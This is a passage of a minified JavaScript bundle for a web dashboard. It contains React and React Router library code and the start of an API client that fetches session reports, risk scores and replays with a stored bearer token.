var dn=Object.defineProperty;var hn=(s,t,n)=>t in s?dn(s,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):s[t]=n;var Ke=(s,t,n)=>hn(s,typeof t!="symbol"?t+"":t,n);import{r as un,g as mn,a as l,b as pn,d as mt,L as fn,U as is,T as Se,S as he,A as Pe,W as pt,e as vn,C as Os,f as Fs,h as xn,B as gn,i as jn,j as _n,k as bn,l as ft,m as Ds,n as vt,F as yn,o as kn,p as wn,q as Nn,s as Sn,R as Rn}from"./icons-MaIKpfYO.js";import{r as Cn,R as Ms,a as En,P as Ln,b as Tn,c as $n,d as An,T as Is,A as Pn,C as zn,X as On,Y as Fn,e as Dn}from"./charts-UEaG0bjz.js";import"./d3-vendor-BB8wXuZZ.js";(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const r of document.querySelectorAll('link[rel="modulepreload"]'))i(r);new MutationObserver(r=>{for(const a of r)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&i(o)}).observe(document,{childList:!0,subtree:!0});function n(r){const a={};return r.integrity&&(a.integrity=r.integrity),r.referrerPolicy&&(a.referrerPolicy=r.referrerPolicy),r.crossOrigin==="use-credentials"?a.credentials="include":r.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function i(r){if(r.ep)return;r.ep=!0;const a=n(r);fetch(r.href,a)}})();var Je={exports:{}},be={};/**
 * @license React
 * react-jsx-runtime.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Us;function Mn(){if(Us)return be;Us=1;var s=un(),t=Symbol.for("react.element"),n=Symbol.for("react.fragment"),i=Object.prototype.hasOwnProperty,r=s.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,a={key:!0,ref:!0,__self:!0,__source:!0};function o(d,c,u){var v,m={},j=null,f=null;u!==void 0&&(j=""+u),c.key!==void 0&&(j=""+c.key),c.ref!==void 0&&(f=c.ref);for(v in c)i.call(c,v)&&!a.hasOwnProperty(v)&&(m[v]=c[v]);if(d&&d.defaultProps)for(v in c=d.defaultProps,c)m[v]===void 0&&(m[v]=c[v]);return{$$typeof:t,type:d,key:j,ref:f,props:m,_owner:r.current}}return be.Fragment=n,be.jsx=o,be.jsxs=o,be}var Bs;function In(){return Bs||(Bs=1,Je.exports=Mn()),Je.exports}var e=In(),Te={},qs;function Un(){if(qs)return Te;qs=1;var s=Cn();return Te.createRoot=s.createRoot,Te.hydrateRoot=s.hydrateRoot,Te}var Bn=Un();const qn=mn(Bn);/**
 * @remix-run/router v1.23.2
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */function Re(){return Re=Object.assign?Object.assign.bind():function(s){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(s[i]=n[i])}return s},Re.apply(this,arguments)}var re;(function(s){s.Pop="POP",s.Push="PUSH",s.Replace="REPLACE"})(re||(re={}));const Ws="popstate";function Wn(s){s===void 0&&(s={});function t(i,r){let{pathname:a,search:o,hash:d}=i.location;return as("",{pathname:a,search:o,hash:d},r.state&&r.state.usr||null,r.state&&r.state.key||"default")}function n(i,r){return typeof r=="string"?r:Oe(r)}return Vn(t,n,null,s)}function A(s,t){if(s===!1||s===null||typeof s>"u")throw new Error(t)}function ms(s,t){if(!s){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function Hn(){return Math.random().toString(36).substr(2,8)}function Hs(s,t){return{usr:s.state,key:s.key,idx:t}}function as(s,t,n,i){return n===void 0&&(n=null),Re({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof t=="string"?xe(t):t,{state:n,key:t&&t.key||i||Hn()})}function Oe(s){let{pathname:t="/",search:n="",hash:i=""}=s;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),i&&i!=="#"&&(t+=i.charAt(0)==="#"?i:"#"+i),t}function xe(s){let t={};if(s){let n=s.indexOf("#");n>=0&&(t.hash=s.substr(n),s=s.substr(0,n));let i=s.indexOf("?");i>=0&&(t.search=s.substr(i),s=s.substr(0,i)),s&&(t.pathname=s)}return t}function Vn(s,t,n,i){i===void 0&&(i={});let{window:r=document.defaultView,v5Compat:a=!1}=i,o=r.history,d=re.Pop,c=null,u=v();u==null&&(u=0,o.replaceState(Re({},o.state,{idx:u}),""));function v(){return(o.state||{idx:null}).idx}function m(){d=re.Pop;let h=v(),w=h==null?null:h-u;u=h,c&&c({action:d,location:g.location,delta:w})}function j(h,w){d=re.Push;let y=as(g.location,h,w);u=v()+1;let k=Hs(y,u),S=g.createHref(y);try{o.pushState(k,"",S)}catch(O){if(O instanceof DOMException&&O.name==="DataCloneError")throw O;r.location.assign(S)}a&&c&&c({action:d,location:g.location,delta:1})}function f(h,w){d=re.Replace;let y=as(g.location,h,w);u=v();let k=Hs(y,u),S=g.createHref(y);o.replaceState(k,"",S),a&&c&&c({action:d,location:g.location,delta:0})}function b(h){let w=r.location.origin!=="null"?r.location.origin:r.location.href,y=typeof h=="string"?h:Oe(h);return y=y.replace(/ $/,"%20"),A(w,"No window.location.(origin|href) available to create URL for href: "+y),new URL(y,w)}let g={get action(){return d},get location(){return s(r,o)},listen(h){if(c)throw new Error("A history only accepts one active listener");return r.addEventListener(Ws,m),c=h,()=>{r.removeEventListener(Ws,m),c=null}},createHref(h){return t(r,h)},createURL:b,encodeLocation(h){let w=b(h);return{pathname:w.pathname,search:w.search,hash:w.hash}},push:j,replace:f,go(h){return o.go(h)}};return g}var Vs;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Vs||(Vs={}));function Gn(s,t,n){return n===void 0&&(n="/"),Qn(s,t,n)}function Qn(s,t,n,i){let r=typeof t=="string"?xe(t):t,a=fe(r.pathname||"/",n);if(a==null)return null;let o=xt(s);Kn(o);let d=null;for(let c=0;d==null&&c<o.length;++c){let u=ri(a);d=ii(o[c],u)}return d}function xt(s,t,n,i){t===void 0&&(t=[]),n===void 0&&(n=[]),i===void 0&&(i="");let r=(a,o,d)=>{let c={relativePath:d===void 0?a.path||"":d,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(A(c.relativePath.startsWith(i),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+i+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(i.length));let u=oe([i,c.relativePath]),v=n.concat(c);a.children&&a.children.length>0&&(A(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),xt(a.children,t,v,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:ti(u,a.index),routesMeta:v})};return s.forEach((a,o)=>{var d;if(a.path===""||!((d=a.path)!=null&&d.includes("?")))r(a,o);else for(let c of gt(a.path))r(a,o,c)}),t}function gt(s){let t=s.split("/");if(t.length===0)return[];let[n,...i]=t,r=n.endsWith("?"),a=n.replace(/\?$/,"");if(i.length===0)return r?[a,""]:[a];let o=gt(i.join("/")),d=[];return d.push(...o.map(c=>c===""?a:[a,c].join("/"))),r&&d.push(...o),d.map(c=>s.startsWith("/")&&c===""?"/":c)}function Kn(s){s.sort((t,n)=>t.score!==n.score?n.score-t.score:ni(t.routesMeta.map(i=>i.childrenIndex),n.routesMeta.map(i=>i.childrenIndex)))}const Jn=/^:[\w-]+$/,Yn=3,Xn=2,Zn=1,ei=10,si=-2,Gs=s=>s==="*";function ti(s,t){let n=s.split("/"),i=n.length;return n.some(Gs)&&(i+=si),t&&(i+=Xn),n.filter(r=>!Gs(r)).reduce((r,a)=>r+(Jn.test(a)?Yn:a===""?Zn:ei),i)}function ni(s,t){return s.length===t.length&&s.slice(0,-1).every((i,r)=>i===t[r])?s[s.length-1]-t[t.length-1]:0}function ii(s,t,n){let{routesMeta:i}=s,r={},a="/",o=[];for(let d=0;d<i.length;++d){let c=i[d],u=d===i.length-1,v=a==="/"?t:t.slice(a.length)||"/",m=rs({path:c.relativePath,caseSensitive:c.caseSensitive,end:u},v),j=c.route;if(!m)return null;Object.assign(r,m.params),o.push({params:r,pathname:oe([a,m.pathname]),pathnameBase:hi(oe([a,m.pathnameBase])),route:j}),m.pathnameBase!=="/"&&(a=oe([a,m.pathnameBase]))}return o}function rs(s,t){typeof s=="string"&&(s={path:s,caseSensitive:!1,end:!0});let[n,i]=ai(s.path,s.caseSensitive,s.end),r=t.match(n);if(!r)return null;let a=r[0],o=a.replace(/(.)\/+$/,"$1"),d=r.slice(1);return{params:i.reduce((u,v,m)=>{let{paramName:j,isOptional:f}=v;if(j==="*"){let g=d[m]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const b=d[m];return f&&!b?u[j]=void 0:u[j]=(b||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:s}}function ai(s,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),ms(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let i=[],r="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,d,c)=>(i.push({paramName:d,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(i.push({paramName:"*"}),r+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?r+="\\/*$":s!==""&&s!=="/"&&(r+="(?:(?=\\/|$))"),[new RegExp(r,t?void 0:"i"),i]}function ri(s){try{return s.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return ms(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),s}}function fe(s,t){if(t==="/")return s;if(!s.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,i=s.charAt(n);return i&&i!=="/"?null:s.slice(n)||"/"}const oi=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,li=s=>oi.test(s);function ci(s,t){t===void 0&&(t="/");let{pathname:n,search:i="",hash:r=""}=typeof s=="string"?xe(s):s,a;if(n)if(li(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),ms(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=Qs(n.substring(1),"/"):a=Qs(n,t)}else a=t;return{pathname:a,search:ui(i),hash:mi(r)}}function Qs(s,t){let n=t.replace(/\/+$/,"").split("/");return s.split("/").forEach(r=>{r===".."?n.length>1&&n.pop():r!=="."&&n.push(r)}),n.length>1?n.join("/"):"/"}function Ye(s,t,n,i){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(i)+"].  Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function di(s){return s.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function ps(s,t){let n=di(s);return t?n.map((i,r)=>r===n.length-1?i.pathname:i.pathnameBase):n.map(i=>i.pathnameBase)}function fs(s,t,n,i){i===void 0&&(i=!1);let r;typeof s=="string"?r=xe(s):(r=Re({},s),A(!r.pathname||!r.pathname.includes("?"),Ye("?","pathname","search",r)),A(!r.pathname||!r.pathname.includes("#"),Ye("#","pathname","hash",r)),A(!r.search||!r.search.includes("#"),Ye("#","search","hash",r)));let a=s===""||r.pathname==="",o=a?"/":r.pathname,d;if(o==null)d=n;else{let m=t.length-1;if(!i&&o.startsWith("..")){let j=o.split("/");for(;j[0]==="..";)j.shift(),m-=1;r.pathname=j.join("/")}d=m>=0?t[m]:"/"}let c=ci(r,d),u=o&&o!=="/"&&o.endsWith("/"),v=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||v)&&(c.pathname+="/"),c}const oe=s=>s.join("/").replace(/\/\/+/g,"/"),hi=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),ui=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,mi=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function pi(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const jt=["post","put","patch","delete"];new Set(jt);const fi=["get",...jt];new Set(fi);/**
 * React Router v6.30.3
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */function Ce(){return Ce=Object.assign?Object.assign.bind():function(s){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(s[i]=n[i])}return s},Ce.apply(this,arguments)}const Ue=l.createContext(null),_t=l.createContext(null),te=l.createContext(null),Be=l.createContext(null),Y=l.createContext({outlet:null,matches:[],isDataRoute:!1}),bt=l.createContext(null);function vi(s,t){let{relative:n}=t===void 0?{}:t;ge()||A(!1);let{basename:i,navigator:r}=l.useContext(te),{hash:a,pathname:o,search:d}=qe(s,{relative:n}),c=o;return i!=="/"&&(c=o==="/"?i:oe([i,o])),r.createHref({pathname:c,search:d,hash:a})}function ge(){return l.useContext(Be)!=null}function ce(){return ge()||A(!1),l.useContext(Be).location}function yt(s){l.useContext(te).static||l.useLayoutEffect(s)}function vs(){let{isDataRoute:s}=l.useContext(Y);return s?$i():xi()}function xi(){ge()||A(!1);let s=l.useContext(Ue),{basename:t,future:n,navigator:i}=l.useContext(te),{matches:r}=l.useContext(Y),{pathname:a}=ce(),o=JSON.stringify(ps(r,n.v7_relativeSplatPath)),d=l.useRef(!1);return yt(()=>{d.current=!0}),l.useCallback(function(u,v){if(v===void 0&&(v={}),!d.current)return;if(typeof u=="number"){i.go(u);return}let m=fs(u,JSON.parse(o),a,v.relative==="path");s==null&&t!=="/"&&(m.pathname=m.pathname==="/"?t:oe([t,m.pathname])),(v.replace?i.replace:i.push)(m,v.state,v)},[t,i,o,a,s])}const gi=l.createContext(null);function ji(s){let t=l.useContext(Y).outlet;return t&&l.createElement(gi.Provider,{value:s},t)}function _i(){let{matches:s}=l.useContext(Y),t=s[s.length-1];return t?t.params:{}}function qe(s,t){let{relative:n}=t===void 0?{}:t,{future:i}=l.useContext(te),{matches:r}=l.useContext(Y),{pathname:a}=ce(),o=JSON.stringify(ps(r,i.v7_relativeSplatPath));return l.useMemo(()=>fs(s,JSON.parse(o),a,n==="path"),[s,o,a,n])}function bi(s,t){return yi(s,t)}function yi(s,t,n,i){ge()||A(!1);let{navigator:r}=l.useContext(te),{matches:a}=l.useContext(Y),o=a[a.length-1],d=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ce(),v;if(t){var m;let h=typeof t=="string"?xe(t):t;c==="/"||(m=h.pathname)!=null&&m.startsWith(c)||A(!1),v=h}else v=u;let j=v.pathname||"/",f=j;if(c!=="/"){let h=c.replace(/^\//,"").split("/");f="/"+j.replace(/^\//,"").split("/").slice(h.length).join("/")}let b=Gn(s,{pathname:f}),g=Ri(b&&b.map(h=>Object.assign({},h,{params:Object.assign({},d,h.params),pathname:oe([c,r.encodeLocation?r.encodeLocation(h.pathname).pathname:h.pathname]),pathnameBase:h.pathnameBase==="/"?c:oe([c,r.encodeLocation?r.encodeLocation(h.pathnameBase).pathname:h.pathnameBase])})),a,n,i);return t&&g?l.createElement(Be.Provider,{value:{location:Ce({pathname:"/",search:"",hash:"",state:null,key:"default"},v),navigationType:re.Pop}},g):g}function ki(){let s=Ti(),t=pi(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,r={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return l.createElement(l.Fragment,null,l.createElement("h2",null,"Unexpected Application Error!"),l.createElement("h3",{style:{fontStyle:"italic"}},t),n?l.createElement("pre",{style:r},n):null,null)}const wi=l.createElement(ki,null);class Ni extends l.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?l.createElement(Y.Provider,{value:this.props.routeContext},l.createElement(bt.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Si(s){let{routeContext:t,match:n,children:i}=s,r=l.useContext(Ue);return r&&r.static&&r.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(r.staticContext._deepestRenderedBoundaryId=n.route.id),l.createElement(Y.Provider,{value:t},i)}function Ri(s,t,n,i){var r;if(t===void 0&&(t=[]),n===void 0&&(n=null),i===void 0&&(i=null),s==null){var a;if(!n)return null;if(n.errors)s=n.matches;else if((a=i)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let o=s,d=(r=n)==null?void 0:r.errors;if(d!=null){let v=o.findIndex(m=>m.route.id&&(d==null?void 0:d[m.route.id])!==void 0);v>=0||A(!1),o=o.slice(0,Math.min(o.length,v+1))}let c=!1,u=-1;if(n&&i&&i.v7_partialHydration)for(let v=0;v<o.length;v++){let m=o[v];if((m.route.HydrateFallback||m.route.hydrateFallbackElement)&&(u=v),m.route.id){let{loaderData:j,errors:f}=n,b=m.route.loader&&j[m.route.id]===void 0&&(!f||f[m.route.id]===void 0);if(m.route.lazy||b){c=!0,u>=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((v,m,j)=>{let f,b=!1,g=null,h=null;n&&(f=d&&m.route.id?d[m.route.id]:void 0,g=m.route.errorElement||wi,c&&(u<0&&j===0?(Ai("route-fallback"),b=!0,h=null):u===j&&(b=!0,h=m.route.hydrateFallbackElement||null)));let w=t.concat(o.slice(0,j+1)),y=()=>{let k;return f?k=g:b?k=h:m.route.Component?k=l.createElement(m.route.Component,null):m.route.element?k=m.route.element:k=v,l.createElement(Si,{match:m,routeContext:{outlet:v,matches:w,isDataRoute:n!=null},children:k})};return n&&(m.route.ErrorBoundary||m.route.errorElement||j===0)?l.createElement(Ni,{location:n.location,revalidation:n.revalidation,component:g,error:f,children:y(),routeContext:{outlet:null,matches:w,isDataRoute:!0}}):y()},null)}var kt=(function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s})(kt||{}),wt=(function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s})(wt||{});function Ci(s){let t=l.useContext(Ue);return t||A(!1),t}function Ei(s){let t=l.useContext(_t);return t||A(!1),t}function Li(s){let t=l.useContext(Y);return t||A(!1),t}function Nt(s){let t=Li(),n=t.matches[t.matches.length-1];return n.route.id||A(!1),n.route.id}function Ti(){var s;let t=l.useContext(bt),n=Ei(),i=Nt();return t!==void 0?t:(s=n.errors)==null?void 0:s[i]}function $i(){let{router:s}=Ci(kt.UseNavigateStable),t=Nt(wt.UseNavigateStable),n=l.useRef(!1);return yt(()=>{n.current=!0}),l.useCallback(function(r,a){a===void 0&&(a={}),n.current&&(typeof r=="number"?s.navigate(r):s.navigate(r,Ce({fromRouteId:t},a)))},[s,t])}const Ks={};function Ai(s,t,n){Ks[s]||(Ks[s]=!0)}function Pi(s,t){s==null||s.v7_startTransition,s==null||s.v7_relativeSplatPath}function zi(s){let{to:t,replace:n,state:i,relative:r}=s;ge()||A(!1);let{future:a,static:o}=l.useContext(te),{matches:d}=l.useContext(Y),{pathname:c}=ce(),u=vs(),v=fs(t,ps(d,a.v7_relativeSplatPath),c,r==="path"),m=JSON.stringify(v);return l.useEffect(()=>u(JSON.parse(m),{replace:n,state:i,relative:r}),[u,m,r,n,i]),null}function Oi(s){return ji(s.context)}function ae(s){A(!1)}function Fi(s){let{basename:t="/",children:n=null,location:i,navigationType:r=re.Pop,navigator:a,static:o=!1,future:d}=s;ge()&&A(!1);let c=t.replace(/^\/*/,"/"),u=l.useMemo(()=>({basename:c,navigator:a,static:o,future:Ce({v7_relativeSplatPath:!1},d)}),[c,d,a,o]);typeof i=="string"&&(i=xe(i));let{pathname:v="/",search:m="",hash:j="",state:f=null,key:b="default"}=i,g=l.useMemo(()=>{let h=fe(v,c);return h==null?null:{location:{pathname:h,search:m,hash:j,state:f,key:b},navigationType:r}},[c,v,m,j,f,b,r]);return g==null?null:l.createElement(te.Provider,{value:u},l.createElement(Be.Provider,{children:n,value:g}))}function Di(s){let{children:t,location:n}=s;return bi(os(t),n)}new Promise(()=>{});function os(s,t){t===void 0&&(t=[]);let n=[];return l.Children.forEach(s,(i,r)=>{if(!l.isValidElement(i))return;let a=[...t,r];if(i.type===l.Fragment){n.push.apply(n,os(i.props.children,a));return}i.type!==ae&&A(!1),!i.props.index||!i.props.children||A(!1);let o={id:i.props.id||a.join("-"),caseSensitive:i.props.caseSensitive,element:i.props.element,Component:i.props.Component,index:i.props.index,path:i.props.path,loader:i.props.loader,action:i.props.action,errorElement:i.props.errorElement,ErrorBoundary:i.props.ErrorBoundary,hasErrorBoundary:i.props.ErrorBoundary!=null||i.props.errorElement!=null,shouldRevalidate:i.props.shouldRevalidate,handle:i.props.handle,lazy:i.props.lazy};i.props.children&&(o.children=os(i.props.children,a)),n.push(o)}),n}/**
 * React Router DOM v6.30.3
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */function Fe(){return Fe=Object.assign?Object.assign.bind():function(s){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(s[i]=n[i])}return s},Fe.apply(this,arguments)}function St(s,t){if(s==null)return{};var n={},i=Object.keys(s),r,a;for(a=0;a<i.length;a++)r=i[a],!(t.indexOf(r)>=0)&&(n[r]=s[r]);return n}function Mi(s){return!!(s.metaKey||s.altKey||s.ctrlKey||s.shiftKey)}function Ii(s,t){return s.button===0&&(!t||t==="_self")&&!Mi(s)}function ls(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((t,n)=>{let i=s[n];return t.concat(Array.isArray(i)?i.map(r=>[n,r]):[[n,i]])},[]))}function Ui(s,t){let n=ls(s);return t&&t.forEach((i,r)=>{n.has(r)||t.getAll(r).forEach(a=>{n.append(r,a)})}),n}const Bi=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],qi=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],Wi="6";try{window.__reactRouterVersion=Wi}catch{}const Hi=l.createContext({isTransitioning:!1}),Vi="startTransition",Js=pn[Vi];function Gi(s){let{basename:t,children:n,future:i,window:r}=s,a=l.useRef();a.current==null&&(a.current=Wn({window:r,v5Compat:!0}));let o=a.current,[d,c]=l.useState({action:o.action,location:o.location}),{v7_startTransition:u}=i||{},v=l.useCallback(m=>{u&&Js?Js(()=>c(m)):c(m)},[c,u]);return l.useLayoutEffect(()=>o.listen(v),[o,v]),l.useEffect(()=>Pi(i),[i]),l.createElement(Fi,{basename:t,children:n,location:d.location,navigationType:d.action,navigator:o,future:i})}const Qi=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Ki=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,F=l.forwardRef(function(t,n){let{onClick:i,relative:r,reloadDocument:a,replace:o,state:d,target:c,to:u,preventScrollReset:v,viewTransition:m}=t,j=St(t,Bi),{basename:f}=l.useContext(te),b,g=!1;if(typeof u=="string"&&Ki.test(u)&&(b=u,Qi))try{let k=new URL(window.location.href),S=u.startsWith("//")?new URL(k.protocol+u):new URL(u),O=fe(S.pathname,f);S.origin===k.origin&&O!=null?u=O+S.search+S.hash:g=!0}catch{}let h=vi(u,{relative:r}),w=Xi(u,{replace:o,state:d,target:c,preventScrollReset:v,relative:r,viewTransition:m});function y(k){i&&i(k),k.defaultPrevented||w(k)}return l.createElement("a",Fe({},j,{href:b||h,onClick:g||a?i:y,ref:n,target:c}))}),Ji=l.forwardRef(function(t,n){let{"aria-current":i="page",caseSensitive:r=!1,className:a="",end:o=!1,style:d,to:c,viewTransition:u,children:v}=t,m=St(t,qi),j=qe(c,{relative:m.relative}),f=ce(),b=l.useContext(_t),{navigator:g,basename:h}=l.useContext(te),w=b!=null&&Zi(j)&&u===!0,y=g.encodeLocation?g.encodeLocation(j).pathname:j.pathname,k=f.pathname,S=b&&b.navigation&&b.navigation.location?b.navigation.location.pathname:null;r||(k=k.toLowerCase(),S=S?S.toLowerCase():null,y=y.toLowerCase()),S&&h&&(S=fe(S,h)||S);const O=y!=="/"&&y.endsWith("/")?y.length-1:y.length;let U=k===y||!o&&k.startsWith(y)&&k.charAt(O)==="/",$=S!=null&&(S===y||!o&&S.startsWith(y)&&S.charAt(y.length)==="/"),B={isActive:U,isPending:$,isTransitioning:w},X=U?i:void 0,R;typeof a=="function"?R=a(B):R=[a,U?"active":null,$?"pending":null,w?"transitioning":null].filter(Boolean).join(" ");let _=typeof d=="function"?d(B):d;return l.createElement(F,Fe({},m,{"aria-current":X,className:R,ref:n,style:_,to:c,viewTransition:u}),typeof v=="function"?v(B):v)});var cs;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(cs||(cs={}));var Ys;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Ys||(Ys={}));function Yi(s){let t=l.useContext(Ue);return t||A(!1),t}function Xi(s,t){let{target:n,replace:i,state:r,preventScrollReset:a,relative:o,viewTransition:d}=t===void 0?{}:t,c=vs(),u=ce(),v=qe(s,{relative:o});return l.useCallback(m=>{if(Ii(m,n)){m.preventDefault();let j=i!==void 0?i:Oe(u)===Oe(v);c(s,{replace:j,state:r,preventScrollReset:a,relative:o,viewTransition:d})}},[u,c,v,i,r,n,s,a,o,d])}function Rt(s){let t=l.useRef(ls(s)),n=l.useRef(!1),i=ce(),r=l.useMemo(()=>Ui(i.search,n.current?null:t.current),[i.search]),a=vs(),o=l.useCallback((d,c)=>{const u=ls(typeof d=="function"?d(r):d);n.current=!0,a("?"+u,c)},[a,r]);return[r,o]}function Zi(s,t){t===void 0&&(t={});let n=l.useContext(Hi);n==null&&A(!1);let{basename:i}=Yi(cs.useViewTransitionState),r=qe(s,{relative:t.relative});if(!n.isTransitioning)return!1;let a=fe(n.currentLocation.pathname,i)||n.currentLocation.pathname,o=fe(n.nextLocation.pathname,i)||n.nextLocation.pathname;return rs(r.pathname,o)!=null||rs(r.pathname,a)!=null}let ke=null;function Ct(s){ke=s,sessionStorage.setItem("ahp_token",s)}function xs(){return ke||(ke=sessionStorage.getItem("ahp_token")),ke}function Et(){ke=null,sessionStorage.removeItem("ahp_token")}class Lt extends Error{constructor(){super(...arguments);Ke(this,"name","AuthError")}}class Tt extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function G(s,t){const n=xs(),i={"Content-Type":"application/json",...(t==null?void 0:t.headers)||{}};n&&(i.Authorization=`Bearer ${n}`);const r=await fetch(s,{...t,headers:i});if(r.status===401)throw Et(),new Lt("Unauthorized");if(!r.ok)throw new Tt(r.status,await r.text());return r.json()}const q={health:()=>G("/health"),summary:s=>G(`/report/summary${s?`?window_seconds=${s}`:""}`),sessions:async s=>{const t=new URLSearchParams;return s!=null&&s.sort&&t.set("sort",s.sort),s!=null&&s.limit&&t.set("limit",String(s.limit)),s!=null&&s.min_risk&&t.set("min_risk",s.min_risk),(await G(`/report/sessions?${t}`)).sessions??[]},sessionRisk:(s,t)=>{const n=new URLSearchParams;return(t==null?void 0:t.windowSeconds)!==void 0&&(t==null?void 0:t.windowSeconds)!==null&&n.set("window_seconds",String(t.windowSeconds)),G(`/report/session/${s}/risk${n.toString()?`?${n.toString()}`:""}`)},sessionPostActionScores:(s,t)=>{const n=new URLSearchParams;return t!=null&&t.limit&&n.set("limit",String(t.limit)),(t==null?void 0:t.windowSeconds)!==void 0&&(t==null?void 0:t.windowSeconds)!==null&&n.set("window_seconds",String(t.windowSeconds)),G(`/report/session/${s}/post-action${n.toString()?`?${n.toString()}`:""}`)},sessionReplay:(s,t)=>G(`/report/session/${s}${t?`?limit=${t}`:""}`),sessionReplayPage:(s,t)=>{const n=new URLSearchParams;return t!=null&&t.limit&&n.set("limit",String(t.limit)),(t==null?void 0:t.cursor)!==void 0&&n.set("cursor",String(t.cursor)),(t==null?void 0:t.windowSeconds)!==void 0&&(t==null?void 